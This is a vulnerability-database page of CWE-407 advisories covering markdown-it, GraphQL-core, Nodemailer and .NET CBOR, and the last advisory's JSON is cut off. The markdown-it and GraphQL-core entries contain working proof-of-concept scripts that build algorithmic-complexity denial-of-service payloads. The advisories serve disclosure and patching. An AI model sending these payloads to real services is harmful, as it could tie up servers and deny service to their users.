CWE-407
Allowed-with-ReviewInefficient Algorithmic Complexity
Abstraction: Class · Status: Incomplete
An algorithm in a product has an inefficient worst-case computational complexity that may be detrimental to system performance and can be triggered by an attacker, typically using crafted manipulations that ensure that the worst case is being reached.
584 vulnerabilities reference this CWE, most recent first.
GHSA-VFGH-JCMW-G37Q
Vulnerability from github – Published: 2026-10-20 20:08 – Updated: 2026-10-20 20:08Summary
With html: true, markdown-it takes quadratic time to parse repeated unterminated HTML constructs inside a paragraph. This affects HTML comments (<!--), processing instructions (<?), declarations (<!A), and CDATA sections (<![CDATA[).
An attacker-controlled input of a few hundred kilobytes can block the Node.js event loop for seconds or tens of seconds. The default configuration has HTML disabled, but the commonmark preset enables it.
The issue was reported against the published markdown-it@15.0.2 package on Node.js 20 and reproduced on the current source with Node.js 24.16.0.
Details
src/rules_inline/text.ts treats < as a terminator, causing the inline parser to attempt the HTML rule at successive HTML construct openers.
With HTML enabled, src/rules_inline/html_inline.ts applies an anchored regular expression to the remaining input:
const match = state.src.slice(pos).match(HTML_TAG_RE)
The comment, processing instruction, declaration, and CDATA alternatives in src/common/html_re.ts scan the remaining input for their respective terminators: -->, ?>, >, and ]]>.
When the terminator is absent, matching fails. Parsing eventually reaches the next opener and scans an overlapping suffix again. Repeating this across the paragraph produces quadratic total work. For these inputs, the problem is repeated scanning across separate matches.
The payload must reach inline parsing. Prefixing it with x keeps it inside a paragraph. Starting a line directly with one of these constructs instead invokes HTML block parsing, which does not exhibit the same repeated inline scans for these payloads.
The existing unclosed <!-- test in test/markdown-it/pathological.test.mjs already contains a reproducer:
'</' + '<!--'.repeat(100000)
However, it runs with default options, where HTML is disabled.
A fix should avoid repeated searches for absent terminators across all four affected alternatives, for example by caching failed searches on the inline state. Fixing only the comment alternative leaves the other three cases affected. Regression coverage should exercise all four with html: true.
The original report was submitted by @JarLob. It credits the GitHub Security Lab Taskflow Agent as part of the GitHub Secure Open Source Fund.
Proof of concept
Install the affected package in an empty directory:
npm install markdown-it@15.0.2
Save the following as poc.mjs and run node poc.mjs:
import MarkdownIt from 'markdown-it'
import { performance } from 'node:perf_hooks'
const mdHtml = new MarkdownIt({ html: true })
const mdDefault = new MarkdownIt()
const sizes = [8000, 16000, 32000, 64000]
function measure(md, src) {
const start = performance.now()
md.render(src)
return (performance.now() - start).toFixed(1)
}
const variants = {
comment: '<!--',
processing: '<?x',
declaration: '<!A',
cdata: '<![CDATA['
}
for (const [name, opener] of Object.entries(variants)) {
console.log(`\n${name}`)
for (const n of sizes) {
const src = 'x ' + opener.repeat(n)
console.log({
n,
bytes: Buffer.byteLength(src),
ms: measure(mdHtml, src)
})
}
}
const n = sizes.at(-1)
const controls = {
'HTML disabled': [mdDefault, 'x ' + '<!--'.repeat(n)],
'Closed comments': [mdHtml, 'x ' + '<!---->'.repeat(n)],
'HTML block': [mdHtml, '<!--'.repeat(n)],
'Plain text': [mdHtml, 'x ' + 'abcd'.repeat(n)]
}
for (const [name, [md, src]] of Object.entries(controls)) {
console.log({ control: name, ms: measure(md, src) })
}
const repoPayload = '</' + '<!--'.repeat(100000)
console.log({
payload: 'Existing pathological test',
htmlFalseMs: measure(mdDefault, repoPayload),
htmlTrueMs: measure(mdHtml, repoPayload)
})
Measurements from the original report on markdown-it@15.0.2, Node.js 20:
| Construct | 8,000 repetitions | 64,000 repetitions |
|---|---|---|
| Comment | 170 ms | 8,799 ms |
| Processing instruction | 26 ms | 1,566 ms |
| Declaration | 93 ms | 5,628 ms |
| CDATA | 119 ms | 4,179 ms |
An eightfold increase in repetitions produces approximately 35–60 times the execution time, consistent with quadratic growth becoming dominant.
For the comment payload at 64,000 repetitions:
- HTML disabled: 25 ms.
- Closed comments: 29 ms.
- Payload at the start of an HTML block: 1 ms.
- Plain text: 1 ms.
The existing pathological-test payload with 100,000 comment openers took 33 ms with HTML disabled and 21,030 ms with HTML enabled. A separate comment payload with 128,000 repetitions, approximately 500 KiB, took 32,847 ms.
Exact timings depend on the runtime and hardware.
Impact
This is an availability issue affecting applications that render attacker-controlled Markdown with html: true, including applications using the commonmark preset.
On Node.js, a synchronous render() call can occupy a CPU core and block the event loop for seconds or tens of seconds, delaying other requests handled by the same process. Repeated submissions can cause denial of service. Browser applications can similarly become unresponsive when rendering on the main thread.
Sanitizing the generated HTML afterwards does not prevent the issue because the expensive processing occurs during Markdown rendering.
The default configuration, with HTML disabled, is unaffected by these payloads. Disabling HTML or limiting input size can reduce exposure while a fix is prepared.
The reported affected release is 15.0.2; the full affected version range has not been established.
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "markdown-it"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "14.3.3"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "npm",
"name": "markdown-it"
},
"ranges": [
{
"events": [
{
"introduced": "15.0.0"
},
{
"fixed": "15.0.3"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-111766"
],
"database_specific": {
"cwe_ids": [
"CWE-400",
"CWE-407"
],
"github_reviewed": true,
"github_reviewed_at": "2026-10-20T20:08:19Z",
"nvd_published_at": "2026-10-19T20:17:52Z",
"severity": "LOW"
},
"details": "### Summary\n\nWith `html: true`, markdown-it takes quadratic time to parse repeated unterminated HTML constructs inside a paragraph. This affects HTML comments (`\u003c!--`), processing instructions (`\u003c?`), declarations (`\u003c!A`), and CDATA sections (`\u003c![CDATA[`).\n\nAn attacker-controlled input of a few hundred kilobytes can block the Node.js event loop for seconds or tens of seconds. The default configuration has HTML disabled, but the `commonmark` preset enables it.\n\nThe issue was reported against the published `markdown-it@15.0.2` package on Node.js 20 and reproduced on the current source with Node.js 24.16.0.\n\n### Details\n\n`src/rules_inline/text.ts` treats `\u003c` as a terminator, causing the inline parser to attempt the HTML rule at successive HTML construct openers.\n\nWith HTML enabled, `src/rules_inline/html_inline.ts` applies an anchored regular expression to the remaining input:\n\n```js\nconst match = state.src.slice(pos).match(HTML_TAG_RE)\n```\n\nThe comment, processing instruction, declaration, and CDATA alternatives in `src/common/html_re.ts` scan the remaining input for their respective terminators: `--\u003e`, `?\u003e`, `\u003e`, and `]]\u003e`.\n\nWhen the terminator is absent, matching fails. Parsing eventually reaches the next opener and scans an overlapping suffix again. Repeating this across the paragraph produces quadratic total work. For these inputs, the problem is repeated scanning across separate matches.\n\nThe payload must reach inline parsing. Prefixing it with `x ` keeps it inside a paragraph. Starting a line directly with one of these constructs instead invokes HTML block parsing, which does not exhibit the same repeated inline scans for these payloads.\n\nThe existing `unclosed \u003c!--` test in `test/markdown-it/pathological.test.mjs` already contains a reproducer:\n\n```js\n\u0027\u003c/\u0027 + \u0027\u003c!--\u0027.repeat(100000)\n```\n\nHowever, it runs with default options, where HTML is disabled.\n\nA fix should avoid repeated searches for absent terminators across all four affected alternatives, for example by caching failed searches on the inline state. Fixing only the comment alternative leaves the other three cases affected. Regression coverage should exercise all four with `html: true`.\n\nThe original report was submitted by [@JarLob](https://github.com/JarLob). It credits the [GitHub Security Lab Taskflow Agent](https://github.com/GitHubSecurityLab/seclab-taskflow-agent) as part of the [GitHub Secure Open Source Fund](https://github.com/open-source/github-secure-open-source-fund).\n\n### Proof of concept\n\nInstall the affected package in an empty directory:\n\n```sh\nnpm install markdown-it@15.0.2\n```\n\nSave the following as `poc.mjs` and run `node poc.mjs`:\n\n```js\nimport MarkdownIt from \u0027markdown-it\u0027\nimport { performance } from \u0027node:perf_hooks\u0027\n\nconst mdHtml = new MarkdownIt({ html: true })\nconst mdDefault = new MarkdownIt()\nconst sizes = [8000, 16000, 32000, 64000]\n\nfunction measure(md, src) {\n const start = performance.now()\n md.render(src)\n return (performance.now() - start).toFixed(1)\n}\n\nconst variants = {\n comment: \u0027\u003c!--\u0027,\n processing: \u0027\u003c?x\u0027,\n declaration: \u0027\u003c!A\u0027,\n cdata: \u0027\u003c![CDATA[\u0027\n}\n\nfor (const [name, opener] of Object.entries(variants)) {\n console.log(`\\n${name}`)\n for (const n of sizes) {\n const src = \u0027x \u0027 + opener.repeat(n)\n console.log({\n n,\n bytes: Buffer.byteLength(src),\n ms: measure(mdHtml, src)\n })\n }\n}\n\nconst n = sizes.at(-1)\nconst controls = {\n \u0027HTML disabled\u0027: [mdDefault, \u0027x \u0027 + \u0027\u003c!--\u0027.repeat(n)],\n \u0027Closed comments\u0027: [mdHtml, \u0027x \u0027 + \u0027\u003c!----\u003e\u0027.repeat(n)],\n \u0027HTML block\u0027: [mdHtml, \u0027\u003c!--\u0027.repeat(n)],\n \u0027Plain text\u0027: [mdHtml, \u0027x \u0027 + \u0027abcd\u0027.repeat(n)]\n}\n\nfor (const [name, [md, src]] of Object.entries(controls)) {\n console.log({ control: name, ms: measure(md, src) })\n}\n\nconst repoPayload = \u0027\u003c/\u0027 + \u0027\u003c!--\u0027.repeat(100000)\nconsole.log({\n payload: \u0027Existing pathological test\u0027,\n htmlFalseMs: measure(mdDefault, repoPayload),\n htmlTrueMs: measure(mdHtml, repoPayload)\n})\n```\n\nMeasurements from the original report on `markdown-it@15.0.2`, Node.js 20:\n\n| Construct | 8,000 repetitions | 64,000 repetitions |\n| --- | ---: | ---: |\n| Comment | 170 ms | 8,799 ms |\n| Processing instruction | 26 ms | 1,566 ms |\n| Declaration | 93 ms | 5,628 ms |\n| CDATA | 119 ms | 4,179 ms |\n\nAn eightfold increase in repetitions produces approximately 35\u201360 times the execution time, consistent with quadratic growth becoming dominant.\n\nFor the comment payload at 64,000 repetitions:\n\n- HTML disabled: 25 ms.\n- Closed comments: 29 ms.\n- Payload at the start of an HTML block: 1 ms.\n- Plain text: 1 ms.\n\nThe existing pathological-test payload with 100,000 comment openers took 33 ms with HTML disabled and 21,030 ms with HTML enabled. A separate comment payload with 128,000 repetitions, approximately 500 KiB, took 32,847 ms.\n\nExact timings depend on the runtime and hardware.\n\n### Impact\n\nThis is an availability issue affecting applications that render attacker-controlled Markdown with `html: true`, including applications using the `commonmark` preset.\n\nOn Node.js, a synchronous `render()` call can occupy a CPU core and block the event loop for seconds or tens of seconds, delaying other requests handled by the same process. Repeated submissions can cause denial of service. Browser applications can similarly become unresponsive when rendering on the main thread.\n\nSanitizing the generated HTML afterwards does not prevent the issue because the expensive processing occurs during Markdown rendering.\n\nThe default configuration, with HTML disabled, is unaffected by these payloads. Disabling HTML or limiting input size can reduce exposure while a fix is prepared.\n\nThe reported affected release is `15.0.2`; the full affected version range has not been established.",
"id": "GHSA-vfgh-jcmw-g37q",
"modified": "2026-10-20T20:08:20Z",
"published": "2026-10-20T20:08:19Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/markdown-it/markdown-it/security/advisories/GHSA-vfgh-jcmw-g37q"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-111766"
},
{
"type": "WEB",
"url": "https://github.com/markdown-it/markdown-it/commit/928bc8c11ded60181c0e7fc5aa954eec582e8e79"
},
{
"type": "WEB",
"url": "https://github.com/markdown-it/markdown-it/commit/d99f48839d37af6fd8a2617516c43dab90755503"
},
{
"type": "PACKAGE",
"url": "https://github.com/markdown-it/markdown-it"
},
{
"type": "WEB",
"url": "https://github.com/markdown-it/markdown-it/releases/tag/14.3.3"
},
{
"type": "WEB",
"url": "https://github.com/markdown-it/markdown-it/releases/tag/15.0.3"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:L",
"type": "CVSS_V3"
}
],
"summary": "markdown-it: Quadratic-time denial of service in inline HTML parsing with html enabled"
}
GHSA-VJ8H-FX38-H3VC
Vulnerability from github – Published: 2026-10-22 16:26 – Updated: 2026-10-22 16:26Summary
The OverlappingFieldsCanBeMerged validation rule can be driven into quadratic — and
in the worst case O(n²·m²) — running time by a small, highly compressible query. A
single 364 KB document can occupy one CPU core for over five minutes during
validation, before any resolver runs. Because the rule is part of specified_rules
and therefore enabled by default, every GraphQL-core based server is affected at
default settings.
Details
OverlappingFieldsCanBeMerged compares every pair of fields that share a response
name and recurses into their sub-selections. The memoization added for
CVE-2023-26144 (GHSA-9pv7-vfvm-6vr7) is keyed by named fragment identity, so it
does not cover this path: inline fragments are flattened into the parent selection
set before the cache is consulted, and therefore every pair is re-compared from
scratch at every nesting level.
Repeating an inline fragment that selects the same response name at two nesting levels multiplies the two effects. There was no comparison budget and no validation timeout, so the rule ran to completion regardless of cost.
The cost is incurred in the validation phase, which is what makes this hard to defend against from outside the library: query-depth limiters, complexity analyzers and cost estimators all operate on the parsed document after validation, and the malicious document is trivially shallow (depth 3, complexity 1). The payload is also one short string repeated many times, so it compresses to a few kilobytes and slips past body-size limits and WAF inspection that only see the compressed request.
Proof of concept
import time
from graphql import build_schema, parse, validate
schema = build_schema(
"type Query { field: Node } type Node { f: Node, g: Node, x: String }"
)
def gen(n: int, m: int) -> str:
inner = " ".join(["... on Node { x }"] * m)
outer = " ".join([f"... on Node {{ f {{ {inner} }} }}"] * n)
return f"{{ field {{ {outer} }} }}"
query = gen(200, 100) # 364 KB, gzips to a few KB
document = parse(query)
start = time.perf_counter()
validate(schema, document) # returns no errors — it just burns CPU
print(f"{(time.perf_counter() - start):.0f}s")
Measured on GraphQL-core 3.2.8 / CPython 3.12 / Linux x86_64:
| n | m | query size | validation time |
|---|---|---|---|
| 20 | 20 | 7.6 KB | 0.16 s |
| 50 | 50 | 46 KB | 5.2 s |
| 100 | 100 | 182 KB | 81 s |
| 200 | 100 | 364 KB | 319 s |
Doubling n at fixed m quadruples the time, as expected for a quadratic outer loop
driving a quadratic inner walk.
Impact
Denial of service. One request pins one worker process for minutes; because CPython holds the GIL for this pure-CPU work, a handful of concurrent requests can saturate a typical multi-worker deployment. No authentication is required, and no data is disclosed or modified.
Patches
Fixed in 3.2.12 and 3.3.0rc1.
Validation now enforces a per-document comparison budget. Once
MAX_FIELD_COMPARISONS (default 250_000) pairwise comparisons have been made, the
rule aborts and reports a GraphQLError instead of running to completion:
Query is too complex to validate for overlapping fields: exceeded 250000 field comparisons. Validation was aborted.
The default is far above what any realistic query reaches. It is a module-level constant and can be raised or lowered:
from graphql.validation.rules import overlapping_fields_can_be_merged
overlapping_fields_can_be_merged.MAX_FIELD_COMPARISONS = 1_000_000
Note the behaviour change: a pathological query that previously validated — slowly — now produces a validation error.
Workarounds
If you cannot upgrade, reject oversized documents before they reach validate().
Note that a request body-size limit must be applied to the decompressed body to be
effective here, since the payload is highly compressible. Removing
OverlappingFieldsCanBeMergedRule from the rule set is not a safe workaround: it is
a correctness rule required by the specification.
A body-size limit remains worthwhile after upgrading — the comparison budget bounds this specific rule, not overall request cost.
Credits
Reported by @BZHunt, who also reviewed the fixes before release. In memory of ZaX, who was the driving force behind this discovery.
Independently found and diagnosed by @bcmyguest, who also proposed a fix.
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "graphql-core"
},
"ranges": [
{
"events": [
{
"introduced": "3.0.0"
},
{
"fixed": "3.2.12"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "PyPI",
"name": "graphql-core"
},
"ranges": [
{
"events": [
{
"introduced": "3.3.0a1"
},
{
"fixed": "3.3.0rc1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-75507"
],
"database_specific": {
"cwe_ids": [
"CWE-400",
"CWE-407"
],
"github_reviewed": true,
"github_reviewed_at": "2026-10-22T16:26:40Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "### Summary\n\nThe `OverlappingFieldsCanBeMerged` validation rule can be driven into quadratic \u2014 and\nin the worst case `O(n\u00b2\u00b7m\u00b2)` \u2014 running time by a small, highly compressible query. A\nsingle 364 KB document can occupy one CPU core for over five minutes during\n*validation*, before any resolver runs. Because the rule is part of `specified_rules`\nand therefore enabled by default, every GraphQL-core based server is affected at\ndefault settings.\n\n### Details\n\n`OverlappingFieldsCanBeMerged` compares every pair of fields that share a response\nname and recurses into their sub-selections. The memoization added for\nCVE-2023-26144 (`GHSA-9pv7-vfvm-6vr7`) is keyed by **named fragment** identity, so it\ndoes not cover this path: inline fragments are flattened into the parent selection\nset before the cache is consulted, and therefore every pair is re-compared from\nscratch at every nesting level.\n\nRepeating an inline fragment that selects the same response name at two nesting\nlevels multiplies the two effects. There was no comparison budget and no validation\ntimeout, so the rule ran to completion regardless of cost.\n\nThe cost is incurred in the **validation phase**, which is what makes this hard to\ndefend against from outside the library: query-depth limiters, complexity analyzers\nand cost estimators all operate on the parsed document *after* validation, and the\nmalicious document is trivially shallow (depth 3, complexity 1). The payload is also\none short string repeated many times, so it compresses to a few kilobytes and slips\npast body-size limits and WAF inspection that only see the compressed request.\n\n### Proof of concept\n\n```python\nimport time\nfrom graphql import build_schema, parse, validate\n\nschema = build_schema(\n \"type Query { field: Node } type Node { f: Node, g: Node, x: String }\"\n)\n\ndef gen(n: int, m: int) -\u003e str:\n inner = \" \".join([\"... on Node { x }\"] * m)\n outer = \" \".join([f\"... on Node {{ f {{ {inner} }} }}\"] * n)\n return f\"{{ field {{ {outer} }} }}\"\n\nquery = gen(200, 100) # 364 KB, gzips to a few KB\ndocument = parse(query)\nstart = time.perf_counter()\nvalidate(schema, document) # returns no errors \u2014 it just burns CPU\nprint(f\"{(time.perf_counter() - start):.0f}s\")\n```\n\nMeasured on GraphQL-core 3.2.8 / CPython 3.12 / Linux x86_64:\n\n| n | m | query size | validation time |\n|---|---|---|---|\n| 20 | 20 | 7.6 KB | 0.16 s |\n| 50 | 50 | 46 KB | 5.2 s |\n| 100 | 100 | 182 KB | 81 s |\n| 200 | 100 | 364 KB | **319 s** |\n\nDoubling `n` at fixed `m` quadruples the time, as expected for a quadratic outer loop\ndriving a quadratic inner walk.\n\n### Impact\n\nDenial of service. One request pins one worker process for minutes; because CPython\nholds the GIL for this pure-CPU work, a handful of concurrent requests can saturate a\ntypical multi-worker deployment. No authentication is required, and no data is\ndisclosed or modified.\n\n### Patches\n\nFixed in **3.2.12** and **3.3.0rc1**.\n\nValidation now enforces a per-document comparison budget. Once\n`MAX_FIELD_COMPARISONS` (default `250_000`) pairwise comparisons have been made, the\nrule aborts and reports a `GraphQLError` instead of running to completion:\n\n\u003e Query is too complex to validate for overlapping fields: exceeded 250000 field\n\u003e comparisons. Validation was aborted.\n\nThe default is far above what any realistic query reaches. It is a module-level\nconstant and can be raised or lowered:\n\n```python\nfrom graphql.validation.rules import overlapping_fields_can_be_merged\n\noverlapping_fields_can_be_merged.MAX_FIELD_COMPARISONS = 1_000_000\n```\n\nNote the behaviour change: a pathological query that previously validated \u2014 slowly \u2014\nnow produces a validation error.\n\n### Workarounds\n\nIf you cannot upgrade, reject oversized documents before they reach `validate()`.\nNote that a request body-size limit must be applied to the **decompressed** body to be\neffective here, since the payload is highly compressible. Removing\n`OverlappingFieldsCanBeMergedRule` from the rule set is *not* a safe workaround: it is\na correctness rule required by the specification.\n\nA body-size limit remains worthwhile after upgrading \u2014 the comparison budget bounds\nthis specific rule, not overall request cost.\n\n### Credits\n\nReported by @BZHunt, who also reviewed the fixes\nbefore release. In memory of ZaX, who was the driving force behind this discovery.\n\nIndependently found and diagnosed by @bcmyguest, who\nalso proposed a fix.",
"id": "GHSA-vj8h-fx38-h3vc",
"modified": "2026-10-22T16:26:40Z",
"published": "2026-10-22T16:26:40Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/graphql-python/graphql-core/security/advisories/GHSA-vj8h-fx38-h3vc"
},
{
"type": "WEB",
"url": "https://github.com/graphql-python/graphql-core/commit/150e59814d97d12140be005a558c93188ef89198"
},
{
"type": "WEB",
"url": "https://github.com/graphql-python/graphql-core/commit/29c2753a7ee30a96a4109e7c6add1a2dae0497d7"
},
{
"type": "PACKAGE",
"url": "https://github.com/graphql-python/graphql-core"
},
{
"type": "WEB",
"url": "https://github.com/graphql-python/graphql-core/releases/tag/v3.2.12"
},
{
"type": "WEB",
"url": "https://github.com/graphql-python/graphql-core/releases/tag/v3.3.0rc1"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "GraphQL-core: Denial of service via quadratic complexity in the OverlappingFieldsCanBeMerged validation rule"
}
GHSA-VM5R-23W9-M8HX
Vulnerability from github – Published: 2026-09-13 12:31 – Updated: 2026-10-05 23:30Duplicate Advisory
This advisory has been withdrawn because it is a duplicate of GHSA-prgh-xp8r-p3m5. This link is maintained to preserve external references.
Original Description
Nodemailer versions 9.1.0 through 10.0.4 contain a quadratic time complexity vulnerability in the addressparser component when parsing email addresses with RFC 5322 comments. Attackers can craft malicious email headers with comment-separated atoms to consume excessive CPU and block the Node.js event loop for several seconds, causing denial of service.
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "nodemailer"
},
"ranges": [
{
"events": [
{
"introduced": "9.1.0"
},
{
"last_affected": "10.0.4"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-407"
],
"github_reviewed": true,
"github_reviewed_at": "2026-10-05T23:30:00Z",
"nvd_published_at": "2026-09-13T12:17:16Z",
"severity": "HIGH"
},
"details": "## Duplicate Advisory\n\nThis advisory has been withdrawn because it is a duplicate of\u00a0GHSA-prgh-xp8r-p3m5. This link is maintained to preserve external references.\n\n## Original Description\nNodemailer versions 9.1.0 through 10.0.4 contain a quadratic time complexity vulnerability in the addressparser component when parsing email addresses with RFC 5322 comments. Attackers can craft malicious email headers with comment-separated atoms to consume excessive CPU and block the Node.js event loop for several seconds, causing denial of service.",
"id": "GHSA-vm5r-23w9-m8hx",
"modified": "2026-10-05T23:30:00Z",
"published": "2026-09-13T12:31:12Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/nodemailer/nodemailer/security/advisories/GHSA-prgh-xp8r-p3m5"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-90776"
},
{
"type": "WEB",
"url": "https://github.com/nodemailer/nodemailer/commit/c07f17518d25aca8ab2ad66968dcbca538c24b89"
},
{
"type": "WEB",
"url": "https://github.com/nodemailer/nodemailer"
},
{
"type": "WEB",
"url": "https://github.com/nodemailer/nodemailer/blob/v10.0.4/src/addressparser/index.ts#L251"
},
{
"type": "WEB",
"url": "https://github.com/nodemailer/nodemailer/releases/tag/v10.0.5"
},
{
"type": "WEB",
"url": "https://www.vulncheck.com/advisories/nodemailer-9.1.0-through-10.0.4-denial-of-service-via-quadratic-address-parsing"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
],
"summary": "Duplicate Advisory: Nodemailer addressparser: O(n^2) on comment-joined addresses enables a remote DoS (reachable via mailparser)",
"withdrawn": "2026-10-05T23:30:00Z"
}
GHSA-VMV3-WVJP-WQPJ
Vulnerability from github – Published: 2026-11-10 23:20 – Updated: 2026-11-10 23:20Executive summary
Microsoft is releasing this security advisory to provide information about a vulnerability in .NET. This advisory provides guidance on updating affected applications and components.
Colliding CBOR map keys can hash-flood uniqueness checks; the fix uses seeded Marvin hashing.
Announcement
Announcement for this issue can be found at https://github.com/dotnet/announcements/issues/501
CVSS Details
- Version: 3.1
- Severity: High
- Score: 7.5 (base score)
- Vector:
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:U/RL:O/RC:C - Weakness: CWE-407
Affected Platforms
- Platforms: Any supported OS
- Architectures: All
Affected Packages
The tables list affected package versions and fixed versions. These are independently versioned NuGet packages, not runtime patch versions.
8.0 - standalone packages
| Package | Affected version | Patched version |
|---|---|---|
| System.Formats.Cbor | >= 8.0.0-0, < 8.0.2 | 8.0.2 |
9.0 - standalone packages
| Package | Affected version | Patched version |
|---|---|---|
| System.Formats.Cbor | >= 9.0.0-0, < 9.0.24 | 9.0.24 |
Update 9.0 applications to System.Formats.Cbor 9.0.24; 9.0.23 is not a fix. The fixed 10.0.15 package, which includes a net9.0 target, remains an alternative.
10.0 - standalone packages
| Package | Affected version | Patched version |
|---|---|---|
| System.Formats.Cbor | >= 10.0.0-0, < 10.0.15 | 10.0.15 |
11.0 - standalone packages
| Package | Affected version | Patched version |
|---|---|---|
| System.Formats.Cbor | >= 11.0.0-0, < 11.0.0 | 11.0.0 |
Advisory FAQ
How do I know if I am affected?
Check the application's System.Formats.Cbor package reference against the affected ranges above. Updating only the installed runtime does not update this independently referenced package.
How do I fix the issue?
Update each applicable package reference to its patched version listed above, then rebuild and redeploy the application. Updating only the installed runtime does not update an application's standalone package references.
Other Information
Reporting Security Issues
If you have found a potential security issue in a supported version of .NET, please report it to the Microsoft Security Response Center (MSRC) via the MSRC Researcher Portal. Further information can be found in the MSRC Report an Issue FAQ.
Security reports made through MSRC may qualify for the Microsoft .NET Bounty. Details of the Microsoft .NET Bounty Program including terms and conditions are at https://aka.ms/corebounty.
Support
You can ask questions about this issue on GitHub in the .NET GitHub organization. The main repos are located at https://github.com/dotnet/runtime. The Announcements repo (https://github.com/dotnet/Announcements) will contain this bulletin as an issue and will include a link to a discussion issue. You can ask questions in the linked discussion issue.
Disclaimer
The information provided in this advisory is provided "as is" without warranty of any kind. Microsoft disclaims all warranties, either express or implied, including the warranties of merchantability and fitness for a particular purpose. In no event shall Microsoft Corporation or its suppliers be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages, even if Microsoft Corporation or its suppliers have been advised of the possibility of such damages. Some states do not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing limitation may not apply.
External Links
Acknowledgements
- Anonymous
Revisions
V1.0 (November 10, 2026): Advisory published.
{
"affected": [
{
"package": {
"ecosystem": "NuGet",
"name": "System.Formats.Cbor"
},
"ranges": [
{
"events": [
{
"introduced": "8.0.0-0"
},
{
"fixed": "8.0.2"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "NuGet",
"name": "System.Formats.Cbor"
},
"ranges": [
{
"events": [
{
"introduced": "9.0.0-0"
},
{
"fixed": "9.0.24"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "NuGet",
"name": "System.Formats.Cbor"
},
"ranges": [
{
"events": [
{
"introduced": "10.0.0-0"
},
{
"fixed": "10.0.15"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "NuGet",
"name": "System.Formats.Cbor"
},
"ranges": [
{
"events": [
{
"introduced": "11.0.0-0"
},
{
"fixed": "11.0.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-118747"
],
"database_specific": {
"cwe_ids": [
"CWE-407"
],
"github_reviewed": true,
"github_reviewed_at": "2026-11-10T23:20:27Z",
"nvd_published_at": "2026-11-10T19:19:51Z",
"severity": "MODERATE"
},
"details": "## Executive summary\n\nMicrosoft is releasing this security advisory to provide information about a vulnerability in .NET. This advisory provides guidance on updating affected applications and components.\n\nColliding CBOR map keys can hash-flood uniqueness checks; the fix uses seeded Marvin hashing.\n\n## Announcement\n\nAnnouncement for this issue can be found at https://github.com/dotnet/announcements/issues/501\n\n## CVSS Details\n\n- **Version:** 3.1\n- **Severity:** High\n- **Score:** 7.5 (base score)\n- **Vector:** `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:U/RL:O/RC:C`\n- **Weakness:** CWE-407\n\n## Affected Platforms\n\n- **Platforms:** Any supported OS\n- **Architectures:** All\n\n## \u003ca name=\"affected-packages\"\u003e\u003c/a\u003eAffected Packages\n\nThe tables list affected package versions and fixed versions. These are independently versioned NuGet packages, not runtime patch versions.\n\n### 8.0 - standalone packages\n\nPackage | Affected version | Patched version\n--- | --- | ---\n[System.Formats.Cbor](https://www.nuget.org/packages/System.Formats.Cbor) | \u003e= 8.0.0-0, \u003c 8.0.2 | 8.0.2\n\n### 9.0 - standalone packages\n\nPackage | Affected version | Patched version\n--- | --- | ---\n[System.Formats.Cbor](https://www.nuget.org/packages/System.Formats.Cbor) | \u003e= 9.0.0-0, \u003c 9.0.24 | 9.0.24\n\nUpdate 9.0 applications to System.Formats.Cbor 9.0.24; 9.0.23 is not a fix. The fixed 10.0.15 package, which includes a net9.0 target, remains an alternative.\n\n### 10.0 - standalone packages\n\nPackage | Affected version | Patched version\n--- | --- | ---\n[System.Formats.Cbor](https://www.nuget.org/packages/System.Formats.Cbor) | \u003e= 10.0.0-0, \u003c 10.0.15 | 10.0.15\n\n### 11.0 - standalone packages\n\nPackage | Affected version | Patched version\n--- | --- | ---\n[System.Formats.Cbor](https://www.nuget.org/packages/System.Formats.Cbor) | \u003e= 11.0.0-0, \u003c 11.0.0 | 11.0.0\n\n## Advisory FAQ\n\n### \u003ca name=\"how-affected\"\u003e\u003c/a\u003eHow do I know if I am affected?\n\nCheck the application\u0027s System.Formats.Cbor package reference against the affected ranges above. Updating only the installed runtime does not update this independently referenced package.\n\n### \u003ca name=\"how-fix\"\u003e\u003c/a\u003eHow do I fix the issue?\n\nUpdate each applicable package reference to its patched version listed above, then rebuild and redeploy the application. Updating only the installed runtime does not update an application\u0027s standalone package references.\n\n## Other Information\n\n### Reporting Security Issues\n\nIf you have found a potential security 